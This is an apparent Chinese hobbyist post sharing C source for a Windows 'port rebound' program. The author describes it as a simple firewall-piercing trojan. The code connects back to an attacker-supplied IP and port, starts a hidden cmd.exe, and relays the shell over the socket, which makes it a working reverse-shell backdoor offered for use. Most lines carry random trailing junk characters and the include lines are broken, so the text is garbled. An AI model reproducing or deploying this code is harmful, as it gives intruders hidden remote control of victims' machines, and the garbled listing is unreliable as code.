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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 As)?~dV  
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/* ============================== AJi+JO-  
Rebound port in Windows NT wGLMLbj5  
By wind,2006/7 b_ ZvI\H  
===============================*/ a.%ps:  
#include 6NV592  
#include P I"KY@>H  
ZUHW*U.  
#pragma comment(lib,"wsock32.lib") zS;ruK%2  
k)>H=?mI  
void OutputShell(); n`Pl:L*kG  
SOCKET sClient; Q.B)?wm  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1r> ]XhRFZ  
NHyUHFY  
void main(int argc,char **argv)  }cMkh  
{ Z]b;%:>=  
WSADATA stWsaData; .c]>*/(+  
int nRet; QO;Dyef7b  
SOCKADDR_IN stSaiClient,stSaiServer; i. 6b%  
f u\j  
if(argc != 3) m@+v6&,  
{ `"CA$Se8  
printf("Useage:\n\rRebound DestIP DestPort\n"); GZaB z#U  
return; xbCR4upS  
} t jThQ  
V6dq8Z"h  
WSAStartup(MAKEWORD(2,2),&stWsaData); y$7Ys:R~  
%_s)Gw&sq  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZJs~,Q  
D1y`J&A>Q  
stSaiClient.sin_family = AF_INET; ^?Xs!kJP  
stSaiClient.sin_port = htons(0); bxh-#x &  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <1I4JPh>x  
I=&i &6v8G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H3$py|}lL  
{ A!!!7tj  
printf("Bind Socket Failed!\n"); :|V650/  
return; ?QffSSj[s  
} Y(6ev o&IR  
E}9wzPs  
stSaiServer.sin_family = AF_INET; &Pme4IHtm  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~vDa2D<9%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5?H8?~&dz  
z# &1>  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b EcN_7  
{ *ilh/Hd>  
printf("Connect Error!"); -51LF=(!L  
return; 5T.U=_ag  
} Vc5>I_   
OutputShell(); L,A+"  
} -'qVnu  
I;JV-jDM  
void OutputShell() i;{lY1  
{ '/qy_7O  
char szBuff[1024]; *CXc{{  
SECURITY_ATTRIBUTES stSecurityAttributes; LGuZp?"  
OSVERSIONINFO stOsversionInfo; }h Wv  p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &u&WP  
STARTUPINFO stStartupInfo; +r"}@8/\1  
char *szShell; b|.Cqsb  
PROCESS_INFORMATION stProcessInformation; $$ *tK8#  
unsigned long lBytesRead; u_NLgM7*  
KJyCfMH&:@  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A{\?]]/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C)j/!+nh  
stSecurityAttributes.lpSecurityDescriptor = 0; QBGm)h?=  
stSecurityAttributes.bInheritHandle = TRUE; (8m_GfT  
*y?6m,38V  
0^S$_L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AHn!>w,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (y; 6 H  
stK}K-=`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'A5T$JV.r4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d`rZgY  
stStartupInfo.wShowWindow = SW_HIDE; MuMq%uDA"  
stStartupInfo.hStdInput = hReadPipe; W2rd [W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LQk^l`  
tgG 8pL  
GetVersionEx(&stOsversionInfo); Z:^#9D{  
'i$. _Tx  
switch(stOsversionInfo.dwPlatformId) gk| % 4.  
{ !`N:.+DT  
case 1: '|=Pw  
szShell = "command.com"; ?WXftzdf6u  
break; )rP,+B?W  
default: \azMF}mb  
szShell = "cmd.exe"; D)x^?!  
break; _fZec+oM  
} h(yFr/  
hK)'dG*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BA1H)%  
L }{3_/t  
send(sClient,szMsg,77,0); "{vWdY|"  
while(1) octQ[QXo#  
{ 7~+Fec`Ut*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mvH8hvD9  
if(lBytesRead) ?3K~4-!? /  
{  'V^M+ng  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tf7HhOCYX  
send(sClient,szBuff,lBytesRead,0); Gn4b*Y&M]3  
} y'`7zJ  
else .9e5@@VR  
{ !;8Y?c-D  
lBytesRead=recv(sClient,szBuff,1024,0); '8zd]U  
if(lBytesRead<=0) break; 7+f6?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [err$  
} x&DqTX?b,  
} 6bUP]^d  
>)C7IQ/  
return; PcA^ jBgGl  
}
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